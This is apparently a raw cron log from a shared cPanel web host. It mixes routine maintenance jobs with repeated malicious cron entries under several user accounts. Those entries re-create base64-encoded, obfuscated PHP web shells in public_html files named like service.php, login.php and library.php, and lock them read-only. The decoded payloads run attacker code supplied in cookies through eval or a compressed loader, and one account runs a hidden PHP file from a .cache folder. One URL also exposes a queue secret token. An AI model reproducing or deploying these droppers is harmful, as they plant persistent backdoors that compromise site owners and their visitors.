Jun  7 09:53:02 medusa CROND[17525]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:54:01 medusa CROND[19177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:54:01 medusa CROND[19178]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:54:01 medusa CROND[19179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:54:01 medusa CROND[19180]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:54:01 medusa CROND[19181]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:54:01 medusa CROND[19182]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:54:01 medusa CROND[19183]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:54:01 medusa CROND[19184]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:54:01 medusa CROND[19185]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:54:01 medusa CROND[19195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:54:01 medusa CROND[19196]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:54:01 medusa CROND[19198]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:54:01 medusa CROND[19204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[20991]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:55:02 medusa CROND[20994]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:55:02 medusa CROND[21003]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:55:02 medusa CROND[21012]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[21013]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:55:02 medusa CROND[21011]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:55:02 medusa CROND[21015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:55:02 medusa CROND[21014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:55:02 medusa CROND[21017]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[21016]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:55:02 medusa CROND[21024]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:55:02 medusa CROND[21026]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:55:02 medusa CROND[21022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[21028]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:55:02 medusa CROND[21032]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[21030]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:55:02 medusa CROND[21019]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:55:02 medusa CROND[21042]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:55:02 medusa CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:55:02 medusa CROND[21045]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:55:02 medusa CROND[21048]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:55:02 medusa CROND[21047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:56:02 medusa CROND[22935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:56:02 medusa CROND[22937]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:56:02 medusa CROND[22940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
